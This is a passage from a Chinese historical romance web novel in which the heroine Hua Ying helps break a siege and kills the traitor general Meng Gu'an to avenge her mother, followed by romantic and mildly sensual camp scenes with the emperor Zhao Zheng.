何时这般娇气了,北地是冷,可也不是今儿才这样冷的,以往怎的没见她喝什么驱寒汤药。 “给将军也煮一碗。”副将道。 医师一顿,僵着脖颈点头。 几句话间,府尹大人安静的立在一旁,目光在几人脸上扫过。 几人分开,副将送府尹大人和几位侍从出营,华缨则是与医师掀帘进了一顶营帐。 尹老将军坐在案前,正在看军报,闻声抬首,“风寒罢了,怎还唤了医师来?” “请医师探过脉才安心些,”华缨道,说着,她眨了眨眼,促狭道:“府尹大人以为您病了呢。” “方才碰见了?”尹老将军问。 华缨‘嗯’了声,“这都几日了,那暗处的老鼠也该坐不住了。” 他们在消耗粮草,北狄何尝不是? 更何况,草原物产不丰,比不得中原良田万顷。 何况,城门前叫阵的将士也疲累了,华缨想,用不了几日了。 “耐心些,”尹老将军握着军报朝她点了点,“府尹若是当真与北狄探子勾结,今日我没见他,又瞧见你带医师过来,哪怕觉得是计谋,心中也难免打鼓,让今夜巡营的将士松散些,只管让那来探秘的宵小进来就是。” 华缨‘哦’了声,拍着胸口自信道:“瓮中捉鳖嘛,我会的。” 冬日入夜早,繁星爬满天空时,营中已经陷入了夜的寂静。 二更天时,一道黑影犹如风擦过黑夜,须臾便没了踪迹,快得像是姚明山一晃眼的错觉罢了。 他迅速抬手,打了个手势,后面窜出几道黑影跟了上去。 尹老将军营帐中,满是清苦的药香,帐中灯火通明,隐约能瞧见急得满帐踱步的几位将军。 姚明山过来,心想,瞅着还挺像那么回事儿。 他一进来,帐中喝着驱寒汤的几人皆抬首瞧来,虽是未言,但眼中神色满是骐骥。 姚明山拱手禀道:“已经让人跟着了。” 那挑出的几人,是斥候出身,寻踪迹的本事是营中一等一的好。 早几日尹老将军派出去探寻北狄密探的人回来,说是什么都没查到。 可是华缨却是觉得,城外之人不急着攻城,未必是要耗尽他们的粮草,城中定是有与他们里应外合者。既是查不到,索性不如让他们自己露出马脚来。 华缨朝姚明山招招手,“还有一碗,给你留的。” 副将搓着手,有些躁动道:“今夜能出兵不?” “急什么,还没捉到人呢。”另一将军道。 副将横眉竖目的瞪他,“老子憋屈死了,成日陪着那什么府尹满营中转悠,狗屁都没找到!” 这样烦人紧的差事,也不知将军为何要交给他。 副将想着,皱着脸可怜的看向尹老将军。 “你骂人家了?”尹老将军问。 副将:“……没。” 却是见尹老将军悠哉的喝着驱寒汤,颔首道:“性子磨得不错。” “……” 姚明山别过脸噗嗤笑了。 帐中其他将军们也忍不住笑出了声。 副将性子急,跟在尹老将军身边多年,都是打前锋的,那贼子敢在城门前叫嚣,他必是要提枪去对阵的,可憋了多日不说,还要他做这差事,委实是为难人的紧。 消息是将近子时入夜送回来的。 营帐中登时不剩几人,副将更是扛着长枪扭头就走。 尹老将军看向烤火的华缨问,“你不去?” 华缨打着哈欠百无聊赖,“不是孟固安啊。” 又等两刻,华缨委实熬不住,困恹恹的耷拉着脑袋,梦游似的回了自己的营帐,倒头就睡。 一夜好眠,便是连姚明山他们回来的动静都没听到。 翌日醒来,便听姚明山神秘兮兮的与她问,“你才那北狄密探是谁?” “谁啊,”华缨啃着甜丝丝的烤蜜薯,“总不能是耶律宝吧。” 她对北狄将帅知之甚少,乱猜着说出一名儿来,却是见姚明山好像被噎了下,神色瞧着有些好笑。 华缨眨了眨眼,咬着烤得淌黄心的蜜薯,目瞪口呆。 姚明山:“……擦擦嘴,半分没有姑娘家的仪态在。” 华缨哼了声,“你也不像是伯府贵公子啊。” 出门在外的,讲究什么。 “怎会是耶律宝?”华缨想不明白的问。 姚明山用树杈扒拉那堆灰烬,毫不客气的将里面藏着的那颗烤得外焦里嫩的蜜薯剥了皮啃,“听大伯从前说,耶律宝此人好大喜功,那夜他援孟固安,说不准就是怕他独占功绩,想来分一杯羹,但运道不好,遇见了你带着雷火弹赶来,损兵折将,非但无功,还要在北狄汗王跟前记着过错,自云北镇一役后,耶律宝便不见了踪迹,想来那时便藏进了燕南镇,难说不是要以功补过。” 华缨捧着蜜薯,嘴角一圈黑印子没擦,半晌,幽幽道:“那孟固安呢?” “不知道啊。” 姚明山说。 尹老将军让人将府尹几人示众斩首,还未发酵的流言,随着军中传出抓住了耶律宝,流言不攻自破。 是夜,各将点兵。 营中火把照亮了半边营帐。 华缨跨坐在马上,身后背着一柄弯刀,半胶鱼鳞皮的暗泽沉入了夜。 “冷吗?” 姚明山看她紧披风,问了句。 华缨侧首,眼眸亮晶晶,“怕吗?” 姚明山似不屑的轻嗤了声,狂妄的紧。 夜半三更,大军出城。 斥候急报,狼烟四起。 大军倾巢而出,应敌的北狄将士亦是。 我朝援军到,士气大振。 北狄将士被前后夹击,力有不逮。 从深夜至清晨,焦土成敝,尸横遍野。 华缨抚了抚宝马鬓毛,身上盔甲早已血迹斑斑,在寒风里变得干涸,手中弯刀一挡一抬,利落的收了一颗脑袋。 姚明山自不远处过来,他身上也满是血污,脸上擦着几道流矢的皮肉伤,问华缨:“可还行?” 奋战一夜,便是他们这样的男儿都体力不济,更何况是华缨这个姑娘。 华缨正欲摇首,却是见宝马忽的焦躁似的踱步两下,引颈嘶鸣。 华缨霎时后背犹如雷劈,整个人怔了一瞬,呐呐道:“好似来人了。” “嗯?”姚明山没听清。 几句话的功夫,地动山摇的马蹄声由远及近。 北狄作战爱用矮脚马,冬日在寒天冻雪中稳当许多。 此时来的便是。 而率兵之人,一袭白发在寒风中招摇,身后一如华缨,背着弯刀。 “操!”姚明山吐了口血腥的唾沫,脸都绿了,也顾不得华缨还在,啐了口脏话。 尹老将军眯起眼睛,打量着几十年未见之人。 还未下令鸣金收兵,忽的! 孟固安所率将士,经过北狄将士之时,竟是挥刀迅速斩杀! 北狄将士瞧见孟固安率兵前来,只当是援军,欢欣鼓舞的脸上,死不瞑目。 所至之处,杀戮殆尽! 在这厮杀声中,竟是有几瞬好似沉入谷底的空寂。 副将傻了,“将、将军,那不是北狄的援军吗?” 却是见,身前残影掠过! 华缨竟是驾马朝孟固安奔了去! “回来!”副将见状,连忙大喊! 话音未落,眼前又是一道身影飞奔。 “操他奶奶的!姚明山也跟着添乱!” 副将气得大骂。 尹老将军眸底好似罩着清晨散不尽的浓雾,抬手下令—— “杀!” 孟固安想要如黄雀,坐收渔翁之利,可他却并非是螳螂! 今日他们大军横在城门前,孟固安别想率军入燕南! 华缨驾马闯进了杀戮圈,黑黢黢的目光紧盯着那满头华发之人。 她不知道,身后姚明山紧跟着,如山似的身影替她清理了身后不要命的魑魅魍魉。 孟固安也在看着华缨,那双眼睛在岁月沉淀中,少了少年时的意气风发,苍老浑浊的眼眸,看着眼前英姿飒爽的女娃,又好似在透过她看旁人。 顷刻间,横亘在二人之间的士卒便不剩几人。 华缨歃血的刀,在一只尖刀朝我朝士卒刺来时,咣当一声挡住,将人从鬼门关拉了回来。 孟固安看着她此举,好似在笑,是嘲笑。 嘲笑她长了一颗菩萨心肠。 华缨面色未改,手腕转了个花刀,朝孟固安砍了去! 她等了很久,久到……她有时也在想,孟固安能否活到她来寻仇? 若是他轻易的死了,岂不是憾事一桩? 华缨想啊想,此时此刻挥刀而上,心底却是惊得可怖。 她见过孟固安的刀法。 同样,孟固安也知晓她的。 华缨好似知道了阿娘是如何死在了孟固安刀下。 太师傅说,阿娘是十二岁时拜在他门下,可十二岁之前呢,又是何人教授她刀法? 华缨没换刀法,过往所练的一招一式,在此刻须臾,对着的刀擦过火星,二人眼睛里是如出一辙的冷冽。 副将不知华缨为何朝着孟固安冲,姚明山也不知道。 但他又好像知道些什么,银枪没越过那二人分毫,只是将周遭的北狄士卒杀尽了。 阴沉的天,始终未见晴日。 半晌,乌蒙的天上飘雪,覆在那血肉横尸上。 华缨身上伤了几处,殷红的鲜血透过衣裳,唇色渐渐淡了。 孟固安不屑轻嗤,“你便是徐鉴实说的,来杀我之人?” 华缨唇紧抿着,被汗水浸湿的眸子乌黑透亮,紧盯着他的招式。 她学武十几载,还未这般被谁伤过,有些疼,她想阿娘了,那时,阿娘又是有多疼呢? “泱泱!小心!” 姚明山忽的喊! 华缨躲闪不及,却是没有意料之中疼意朝心口刺来。 那柄一臂宽的玄色弯刀,竟是将横贯而来格挡的素木银枪削断了! 是姚明山。 华缨霎时眸底猩红一片,脸上遏制不住的愤怒。 她是知晓的,姚明山有多宝贝他这杆银枪。 “孟固安!”华缨咬牙,一字一顿的喊。 孟固安耷拉的眼睛看了她片刻,又朝姚明山扫了眼,好似明了什么似的轻笑了声。 再抬手,刀风却是朝着赤手空拳的姚明山去了! 华缨只觉霎时汗毛直立,刀风跟着他追去! 刀尖擦着姚明山的胸膛挡住了那柄宽刀,一路擦过火星,竟是被孟固安压着力朝姚明山胸口压去。 “走!” 华缨喊,声音不觉哽咽了。 姚明山额前汗湿,这不过顷刻间的空档,竟是手握弯弓,羽箭搭弦! 孟固安眼皮一动,手中的宽刀飞起,朝这不知天高地厚的小儿天灵盖劈去! 出征前,华缨问姚明山怕吗。 那时他不屑。 马头跟前,犹如雷劈似的宽刀。 此时他亦是。 姚明山不惧生死,他要孟固安死。 沙场之上竟是以命厮杀的将士,他与旁人无甚不同,姚家,没有贪生怕死的逃兵。 忽的,眼前那道如霞光似的身影飞掠而过,竟是华缨飞身将孟固安踹下了战马! 二人在尸山中搏击,刀影重重。 “咻——” 飞羽射中了孟固安挥刀的手臂。 华缨紧追了一刀劈去,霎时便见孟固安手臂鲜血直冒。 那双眸子沉了! 孟固安以刀冲起半身,朝着再次搭弓的姚明山劈去! 军中常说孟固安武艺可怖,力大无穷,手中玄铁刀可劈开人骨。 但传言历时弥久,如今军中将士,无几人见过。 “姚明山!” 刀与箭几乎是同时—— 咣当一声。 飞来的弯刀将那宽刀击得偏了几寸,姚明山肩上的盔甲竟是生生被劈开了,鲜血涌出! 而那支飞向孟固安的羽箭,偏离心口,没入了孟固安胸膛。 忽的,铿锵有力的马蹄声逼近。 华缨回首,见那踏冰河而来之人,倏然红了眼睛。 总有人乘风来,乱了往日的沉稳。 华缨看着赵徵倏然变了的脸色,也看见他抬手,身后将士朝她而来。 “救姚明山!” 华缨张口时,不觉呜咽。 赵徵没说话,朝回首请命的暗卫颔首。 帝后同命。 第79章 你是赵徵,还是官家?…… 华缨脱手的弯刀,是被宝马叼着捡回来的。 暗卫将重伤的姚明山带上马背,驾马离开。 华缨握着刀,身姿似游龙,飞快朝地上撑着宽刀站起的孟固安劈去。 她甚少用这游龙二式,太师傅说,莫要招摇,华缨记着呢。 弯刀泛着银色冷光,劈在了孟固安肩上,如他那柄宽刀一般,华缨的弯刀亦有削铁如泥之力,刀刃刺进血肉,那满头华发之人力有不逮似的,一寸寸被逼得跪下。 华缨全身的血都安静了。 她好似看见了那样漫雪纷飞的冬日,亦有如她的女子与眼前之人对阵。 阿娘不知孟固安为何投敌,最终亦死在了孟固安刀下。 他给了阿娘新生,也送她死去。 华缨不想问他,杀妻弑女,投敌叛国,皆是为何?她不想知道。 手中的刀,报复似的,一寸寸的砍伤他的肩膀手臂,直至那双手,再也提不起刀。 孟固安浑身是血,散着银发,没了那股子仙风道骨的劲儿,像是个疯子。 他问华缨:“你可知你一身力气从何而来?” 华缨面色平静,朝他胸膛一刀,将那没入的羽箭也砍断了,“北狄。” 她语气寻常。 孟固安脸上的神色却是僵滞了瞬。 华缨自幼,力气便比寻常小孩儿大。 绿稚姐姐担忧她擦拭阿娘的大刀会摔了,可她抱得稳稳当当呢。 爹爹说,她这身筋骨力气,都是随了阿娘。 都说血脉相承,那她阿娘的力气随了孟固安,孟固安又是随了谁? 那日尹老将军状似无意的一句闲话,华缨方才恍然。 边关数年易主,而边关的百姓若是有两国互通情意之人呢? 孟固安幼时便丧母,父亲待他也并不亲近,嬷嬷说,因他长得像母亲,父亲瞧见他,难免伤怀。可是后来稍长大些,孟固安方才知晓,嬷嬷说的话,皆是哄他的,他是杂种,是孽畜,是众人眼中的耻辱,他懂了家族叔神色中的鄙夷与嫌恶从何而来。 可被北狄掳走,母亲也是不愿的。 被父亲救回来时,腹中便有了他。 父亲说,母亲也曾寻短见,可是被他救下了,十月怀胎生下了孟固安,可惜,还是没熬住人言,自尽了。 孟固安对此事早已耳闻,是以,在听那似忏悔般的话,他心中竟是激不起半分涟漪来。 孟固安恨孟家,也恨那些嚼舌根的人,更恨护不住妻儿的父亲! 之后,他因武力战胜家族其他人,接替父亲,成了令人闻风丧胆的边关守将,也冷眼看着那被遗弃的两关弃儿。 风吹过,那桩藏在孟家的他的身世,不知怎被金銮殿上坐着的人知道了。 总有人为世道不容,比如他。 成禧帝要他死,说是可保全他家族。 可他孟固安凭何就该死?! 若仅有一人能活,那便来争吧! 撕烂那身血肉,谁的命又比谁高贵? 孟固安去了北狄,失之桑榆,收之东隅的燕云五州,便是他给北狄的投名状。 徐鉴实问他投敌,孟固安说不出口。 这般丢脸之事,他如何敢让少时引为知己的人知晓? 孟固安收养了那些边关弃儿。 既是世道为他们所不容,他便毁了这世道! 都说是乱世枭雄,又合该谁才是那脚下泥,凡尘土! 被那柄弯刀没入胸口时,孟固安望着黑沉沉的天,仰天长啸,眼泪从眼尾滑落,似有不甘。 鲜血涌出,眼皮沉得厉害,他心里大骂,死老天!作践他! 风雪愈急,红刃自那心口出来时,有什么飞溅到了脸上,是热的。 很奇怪。 华缨并未有什么大仇得报的欢愉,心口荦荦绕绕,她回头时,看见了赵徵。 二人隔着不远的距离。 华缨想,方才那话,他该是听到了。 “过来。” 赵徵朝她伸手说。 主将战死,好似一阵风席卷而来的弃子一众,皆散了去。 遍野尸骨。 北狄将士不支,狼狈撤逃。 风雪肆虐,燕南城门开,迎众将归。 …… 这一场雪,落了三日。 赵徵来燕南镇的事,只有几位主将知晓。 华缨去探望过姚明山回来,便见帐中站着一人,今日难得放晴,澄黄的日光明晃晃,在那道背影落了浅淡一层光晕,漂亮极了。 华缨心口滞了下,鹿皮靴子似紧张的碾了碾雪沫,在那道身影转身瞧来时,她透亮黝黑的眼珠子滚了滚,素常似的迈进帐中,放下了帐帘。 身后的寒风被棉帘挡住,炭盆里的火星烧得人口干舌燥。 自腾龙山不欢而散,二人睽别已久。 华缨一连躲了多日的人,眼下堵在她帐中,那双目光落来时,她心口很轻的颤了下,忍不住抿了抿唇,将福身行礼,忽的,垂落的余光里,一角袍摆涟漪轻晃,面前一只手伸来,稳稳的将她托起。 骤然缩短的距离,华缨嗅到了有别于她身上药香的清苦,那是赵徵用来熏衣的木香味。 帐中光线昏暗,华缨单薄的身影尽数笼罩在他的身影下,余光里,那只手手背青筋漂亮,指甲修建圆润洁净,骨节分明的手指插进了她的指缝,与她掌心相贴。 华缨的营帐不算小,甚至说,都不比尹老将军的小。 可是眼下,她却是觉逼仄的紧,好似要溺毙在这木香味中,身前胸膛滚烫,与她交握的手掌亦是,可是唇舌吻上来时,她还是没忍不住,很轻的悸动了下。 帐中很安静,便是连交缠的气息都好似轻喘。 华缨待情事不害羞,可是舌尖被触碰时,她委实忍不住想要将脑袋藏起来,脖颈不知何时覆上了一只手掌,轻轻摩挲攥着她的脖颈,迫使她仰头,承受着他的亲吻。 赵徵动作很轻,也不知是性格使然,还是顾忌她身上的伤,唇舌含着她的,勾弄她游鱼似的舌尖,被她躲避戏耍,他也不恼,一寸寸的侵略城池,抢夺她口中的气息,感受着她溺水般的攀附,大掌摩挲了两下掌心如暖玉升温似的白腻脖颈,似安抚,可压在她喉咙的拇指却是微微使力,逼得她轻吟,再被他吞入腹中。 华缨脸颊红透,被欺负得忍不住张口咬他,却是被舌尖抵开了齿关,扫荡一圈。 华缨:! 欺人太甚! 赵徵好似逗得欢愉,喉结闷出声笑来,被她得逞的轻咬了下舌尖。 光影交换,营帐在寒风中轻晃了下,黑沉沉的暗影交叠。 因这轻微的晃,华缨眼皮狠跳了下,没忍住锤了身前紧贴着她的人一下,“脸面呢!” 赵徵胸口闷出几声笑来,脑袋埋在她肩侧,催熟了那玉白似的耳珠。 华缨仰着脑袋大口喘气,脸蛋儿红扑扑,感受着肩侧微微的重量,木着脑袋想: 她出息了哦。 都会相濡以沫了呢。 湘表姐若是知道,定会大吃一惊。 “徐、华、缨。”赵徵一字一顿的念。 华缨咽了咽口水,似是怕帐外巡营的士卒听见,小小声:“干嘛?” “华缨。”赵徵又唤她。 华缨扭头瞪他。 逗狗呢? “泱泱。” 华缨一愣,尚未散去薄红的桃花眼潋滟清透,怔怔然的望着他。 赵徵俯首,在她唇上亲了下,又唤一声,“泱泱。” 唤她乳名之人不在少数,可却从未有谁,能将这二字唤得她心口酥酥麻麻。 华缨张了张唇,唇角一翘,道:“官家何故与我攀故?” “心悦你。”赵徵道。 华缨眸底神色微顿,飞快的眨了眨眼睛,被扣着的手指轻挠他掌心,撒娇似的说:“你这般坦诚,我害羞。” 赵徵认真的打量她的神色,而后评价道:“看不出来。” 华缨:“……我要睡觉了。” 帐外晴光,这话便是明着撵人了。 赵徵看一眼她复又变得素净苍白的脸色,牵着她朝床榻走,“你睡,过会儿医师过来替你瞧瞧伤。” 华缨身上的伤,比起营中伤兵来说,已然算是轻伤,将养几日便能结痂,活蹦乱跳。 可是,赵徵难以与人言说,那日驾马来时,看见她身上的刀伤,心口轰然,好似坠入了深渊去。 他亲缘淡薄,也未曾对谁这般牵肠挂肚过。闻津说,沙场之上刀剑无眼,问他可要再派几个暗卫去。 赵徵辗转反侧一夜,在听闻北狄围了燕南镇时,当夜便带着安慰悄然出了汴京城,一路往北来。 人之遗憾,渺小如沧之一粟。 日夜奔袭,他感受着心底的恐慌。 直至看见她的那一瞬,沸起的血,在看见她身上的伤痕时,重重坠下。 赵徵不曾尝过这般滋味。 华缨是张扬的,肆意无忌的,那张脸上合该是永远明朗明艳,病痛灾难远离。 华缨原是存了故意恼人的心思,想瞧那张俊朗的脸上露出无奈神色,可是,她看见了心疼。 她抿了抿唇,不觉跟着赵徵走,坐在榻边,察觉那人俯身要来替她脱靴,急急忙的双脚朝旁边一挪,神色羞臊,“你……” 这回才是真的害羞了,咬着唇骂不出,憋得脸颊涨红的瞪他。 赵徵目光平和,眼睛里却是笑着的,半晌,他轻叹了声,道:“凤印都给你了,既是要结发夫妻,有甚不能做的?” 华缨咬着唇没说话。 半晌,她问: “你是赵徵,还是官家?” 那双眸光清亮,灼灼的望着他。 赵徵捏着她的手指,“要凤印,还是将印?” 华缨当真是愣住了。 她从未想过…… “你斩杀北狄首将,按功论赏罢了。” 似是知她所想,赵徵说。 华缨满是旖旎的脑袋,慢吞吞的变得安静。 祖父是文臣之首,官居太傅,朝中如今二叔已是正四品,若她当真掌将印,可真谓是荣宠至极。 “你欺负我。” 华缨抬眼道。 “没有。”赵徵不认这账,“脱了鞋袜躺着歇息。” 嗅着淡淡的木香味,华缨睡着了。 梦里不是尸山血海,她也没有被刀剑所伤,没看见赶来的爹爹抱着她放声嚎啕。 她做了一个美梦,梦中……她喜欢的人都在,哦,在吃席,她跟赵徵的。 华缨眷恋不舍醒来时,脑袋枕在赵徵腿上,双手臭不要脸的搂着人家的腰。 赵徵阖眼靠坐在榻边,一只手揽着她的肩背,好似在替她捉着被角。 他大抵是好几日未得好眠了,鸦睫垂下,眼下泛着乌青色。 华缨悄然抬起脑袋,松开手臂,想要缩进被子里去。 忽的,帐外姚明山的随侍来禀报: “徐大小姐,我家主子醒了。” 华缨乌溜溜的眼睛,便对上了赵徵睁开的惺忪睡眼。 赵徵道:“何处学的毛病,非要枕着腿才能睡得安稳?” 华缨:…… 毛脑袋往被子里缩,素净的小脸儿一脸木然,一副负隅顽抗,绝不认账的耍赖姿态。 赵徵笑了声,戳她肩,“别装。” 华缨:。 【正文完】 第80章 那枚凤印,我不想还给你…… 姚明山伤势颇重,那日医师替他治伤,华缨在帐中瞧过一眼,半边肩的刀伤深可见骨,委实骇人的紧。 重伤高热,医师都不敢离了他的营帐,日夜看顾,直至今日方才好些。 华缨方才去探望他时,姚明山还睡着,是以,才有眼下他的亲卫特来禀。 “好在是伤在左肩,好生养着,日后你还能提枪……”华缨说,想起什么,她瘪了瘪嘴,拍着胸脯与他保证道:“等回京,我让爹爹寻上好的玄铁替你重铸一杆枪!” 姚明山瞧着她笑,“你这副神色做甚,一杆枪罢了,歉疚什么。” 华缨哪里不知他这话是在宽慰自个儿? 姚明山那素木银枪,于旁人与那寻常银枪无甚不同,可于他而言,却是世间再难寻的珍宝。 华缨还不起他这珍宝,便是将最好的给他,也总觉得差着些什么。 她想了想,道:“我将你那银枪捡回来了,你可还想看看?” “嗯?”姚明山抬了下眉,隐约觉得她这话没说完。 果不其然! “你放心,待你瞧罢,我会替你好生将那银枪挖个坑埋了的,你的手臂还不能动,刻牌位也勉强的紧,唔……我爹爹不在,这事便让赵徵代劳吧,左右你是替他护着这燕南城的,他也合该是替你出份力的。” 姚明山听得眼皮跳了下。 华缨不好意思的说:“委实是我怕割伤我的手……” 姚明山:。 他长叹一声,扬着调子道:“立什么碑,挖什么坑,城外那些个尸骨都还没安葬呢,哪里就轮得到一杆断枪了?” 竟是还要劳烦官家! 姚明山想都不敢想,多大胆儿呢。 华缨理直气壮道:“我偏心啊!” 姚明山:…… 华缨又哼了声道:“而且,战死的将士,尹老将军都吩咐人去收敛了尸骨,也让人将骨灰好生送回人家家乡去了。” 死者当下葬,可是孟灵当日的尸骨,亦是烧了骨灰,被爹爹带回了汴京去,是以,华缨并不觉得焚烧尸骸乃是不敬。 姚明山目光垂了垂,不知在想什么。 华缨坐在榻边的小杌子上,仰着脑袋看着他苍白的脸色,嘀咕道:“若是湘表姐知晓你伤的这样重,怕是得哭。” 姚明山目光瞥来,道:“那就别告诉她了吧。” 华缨神色一顿,黑漆漆的眼珠子望着他眨了眨,温吞的站起身,“额……我明日再来看你!” 说罢,落荒而逃。 帐帘翻飞,营帐中复又安静下来。 姚明山长提口气:“徐泱泱!” 徐泱泱想,这会儿家书怕是都到了汴京。 事实也确是如此。 赵徵吩咐闻津,称病闭朝几日,若有急情,请太傅与阁中大人代为处置。 徐鉴实几人求见,都被闻津拦下了。 太医院几位医师,在崇宁殿几日,都养胖了。 “太傅也觉得奇怪?”户部大人小声道。 徐鉴实摇摇头,披着氅衣出宫了。 正是边关战事时,依着赵徵的性子,怕是只要不是昏过去,都会紧要处理奏疏,哪里会称病这么多日,更何况,太医也说不出是什么病灶来。 徐鉴实脸色沉肃,心道,只怕是宫中生事。 雪日天沉,归家之时,天色已经黑透。 徐鉴实刚进门,便见小孙女跑来说,“祖父!阿姐来家书啦!” 大抵是知晓家中众人盼归,华缨隔几日便会送家书来,有时是托驿站,有时是北地往汴京做生意的商队。 这回隔得久些,等了近有半旬月。 徐鉴实展开书信,神色便顿了下。 “怎么啦?”华敏瞅着他的神色,顿时有些焦急,“可是阿姐受伤了?” 徐鉴实默了两瞬,摇首道:“她无碍,就是……” “什么?”华敏急着追问。 “她说,”徐鉴实有些难以启齿,闭了闭眼,深吸口气,咬牙道:“她想带着官家私奔。” 华敏眨了眨眼,嘴巴张成了圆圈:…… 厉害哦。 不过,瞧见孙女在信中说,赵徵去了边关,徐鉴实倒是松了口气。 人无恙便好。 不是朝政动荡就好。 姚家。 姚宝湘看着华缨的书信,险些哭了。 当即收拾了小包袱就要往边关去,谁拦都不听。 姚宝璐给姚宝芳使了个眼色。 不多时,姚宝湘还未走出姚家二道门,就给她阿娘抓了回来。 “将二小姐看好,胆敢让她溜出去,你们都不必在府中做事了。”姚三夫人厉色道。 院中伺候的下人连忙应声。 “关我干嘛呀,姚明山都受伤了!我去将他带回来啊!”姚宝湘拍门道。 姚三夫人:“老实待着。” 家里都是从军的爷们儿,战场有多凶险,瞧瞧他们寿不永昌的公爹、叔伯,再看看她们夫君身上那些个刀剑的伤疤,姚三夫人哪里能不知道? 可姚明山注定是要走武途,虽是伤重,但好在也捡回了一条命,来日回朝,凭着这功绩功绩,也能得个一官半职的。这已然比那些个再也回来的将士好上许多了。 姚宝湘气得跺脚,倚着门蹲下,在地上画圈圈。 她想哥哥了,也想泱泱。 …… 徐·大胆·华缨去了尹老将军营中,众将正商议明日发兵,一鼓作气将燕州余下三城夺下。 此次北狄损失颇重,余下三城的兵力调用在燕南一役,如今燕州不如早前固若金汤,趁着北狄调兵前攻下,不给他们喘息之机才是上策。 众将皆无异议,便按先前商议,先行急攻燕北,守住北边的城池,切断燕西和燕东二镇的补给,关门打狗。 议事罢,自营帐出。 华缨如往常坠在后面,却是见营中众人皆抬首看向她。 华缨:? 尹老将军笑说:“让你先行呢。” 这几日,华缨躲在帐中,尚不知自个儿手刃孟固安的事已在营中广传。 如今再瞧,这些人看她的神色里多了些敬畏。 华缨眸光转了一圈,笑眯眯道:“诸位将军先行。” 杀孟固安,于旁人是军功,而对她来说,只是寻仇。 华缨回了营帐,目光不觉四下搜寻那被她“藏娇”的。 赵徵不好常在军中露面,衣食住行,也皆是由身边人伺候。 那日亲吻,这厮好像赖上了她,偷偷摸摸的将东西安置在了她的营帐,华缨都觉得,她好似养了外室呢。 眼下这外室正在屏风后擦洗,撩起的水声勾得人心痒的很。 “咳……” 华缨故意清了清嗓子,弄出些动静来。 那水声一停。 她咧嘴笑,端着碗茶水,好似那无礼的狂徒,“我进来啦~” 一扇屏风挡不住什么,好似雾影朦胧,那赤裸上身的肩背宽阔,抬手时背脊被牵扯,两侧骨骼也清瘦紧实,很是好看。 赵、徵。 在擦身。 华缨笑眯眯的趴在屏风上偷瞧。 忽的,赵徵侧身,将那扇屏风推开些,二人便这般面对面站着。 华缨眨了眨眼,抬起手指在他胸膛戳戳戳,像模像样的指责道:“你不知羞!” 说罢,溜着跑了。 赵徵:…… 天擦黑时,营中点燃了篝火。 虽是如今战事起,但今夜除夕,也自当庆贺。 热气腾腾的扁食用木盆端出来,所过之处,皆是浓厚的雾气,众人端着碗筷去哄抢,篝火上架着烤的羔羊滋滋冒油,营地热闹声飘出两里地去。 华缨抢到两只扁食,心满意足的退出来,却是见赵徵端坐一旁,静看着这出热闹。 华缨故意使坏道:“赵郎君怎的不吃?” 赵徵面前碗中空空,他不言,眉梢轻抬,看着她。 华缨迈着嘚瑟的小步子过来,夹起一只白白胖胖的扁食喂到他嘴边,“吃吧,我尊贵的殿下。” 她也实在想不出,赵徵如旁人般端着碗去抢饭。 念头一出,华缨便忍不住抿唇偷笑。 这如偷油似的的笑,惹得咬着烫嘴的扁食的赵徵抬眸看她。 “好吃吗?” 华缨笑眯眯的问。 赵徵哈着口白气,点点头。 实则,什么味儿都还尝到。 华缨哈哈笑,将另一只扁食夹着吃了,骂:“骗子。” 这白菜羊肉馅儿都忘记放盐啦! 一盆一盆的扁食往外端,浑像是遇着了饕餮。 伙房的大厨叉着腰骂,“怎还没吃饱?” 众人听见,哈哈大笑。 烤全羊烤得滋滋冒油,香的人舌头都要掉啦! 众人握着匕首割着肉吃,华缨抢了个羊腿,分了一半给赵徵,自个儿抱着另半根美滋滋的啃,一扭头,便见赵徵掏出匕首,用酒烫过,慢条斯理的剔那羊腿上的肉到盘子里。 当真是讲究呢。 华缨嗦着沾着肉香的手指想。 片刻,赵徵垂首,就见忙活半晌,盘中依旧空空,而旁边偷油似的耗子,已然吃得肚饱腹圆,双手托腮,乖乖巧巧的坐在小杌子上,眸光明亮的听着对面的将军吹牛皮,还很是捧哏的不是‘哇’一声,以表惊叹。 赵徵:…… 他忽的想起了那夜会仙楼吃酒。 那样烈的酒,旁人喝得东倒西歪,而她却是面不改色,直至宴席散,几个五大三粗的将军被人接走,她也是这般乖乖巧巧的坐着不动。 那时,华缨说,她要收复燕云五州,要孟固安的项上人头。 赵徵想,她是想要征伐。 她执着之事甚少,可是说出口的,那必然是要做的。 营妓之事是如此,杀孟固安亦然。 直至那日守城,赵徵走近,听见华缨与孟固安寥寥两句对话,方才明白,她的执着是为何。 明日要出征,今夜没放多少酒,分来也不过一人一杯罢了。 天空飘雪,有人品着温酒,细细回忆从前征战沙场之事,好似也在怀念自己尚是少年。 有人喝得面红耳赤,敲着碗筷叫嚣着要将北狄打回姥姥家! 华缨:“厉害呢!” 外头热闹还在继续,赵徵沉出口气,将眼眸明亮毫无醉态的姑娘带回营帐,帐中没有点灯,黑漆漆的一片,便是连帐外莹白的月色都没透进来多少。 小姑娘没骨头似的赖在他身上,嗅了嗅,咬着他的嘴巴偷悄悄的说:“你香香的。” 赵徵耐着性子,感受着她轻轻软软的吻,半晌,终是耐不住这耳鬓厮磨,搂着她加重这个亲吻。 食髓知味,华缨被亲得晕晕乎乎,两只手猫儿似的攀着他的的脖颈,唇舌被松开,她没看见上方那双眼睛眸光浓墨深沉,探着香舌去舔他的唇,眼眸舒服的眯着,咕哝道:“还要……” 好似一团火,烧到了赵徵身上,扶着那抹细腰的手,掌心发烫,竭力克制的攥着,才没有游离向上去。 脸颊被掐了下,华缨蹭着他想要爬到脑袋顶上作威作福,忽的,眼前天旋地转,陷进了棉花似的软绵里,锦缎丝滑微凉,擦着红透的脸颊,让人忍不住汲取些凉意。 华缨摸索着刚要动,却是被攥着脚腕拖了回来,身上覆下一道暗色。 温热的,硬邦邦的。 “唔……” 下颌被掐住,纤细雪白的脖颈扬起,她好似在被使用,唇舌亲吻得密不可分,某人故意使坏,口涎溺在她唇齿间,被吸吮着舌尖,吞咽不及。 他在上方,冷峻浓黑的眉眼,看着她狼狈却是别样风情的模样。 忽的,带着些许温热的锦缎腰带,缠在了华缨手腕间,凌乱躺在榻上,柔韧而纤薄的身躯似游鱼般的拱了拱,臀上被轻拍了下,伴着某人好似不满的呵斥,“别扭。” 足袋被脱去,脚趾碰到微凉的空气,不由蜷缩了下,紧接着,便被一只手握在了掌心,把玩似的揉捏。 华缨稍稍的酒意,瞬间散了个干净。 脑袋嗡的一声,她面红耳赤,在这瞧不见模样的漆黑里,咬牙道:“花戏看得多了吧,竟是学得这荒淫!” 话出口,华缨便觉捏着她脚的手顿了下。 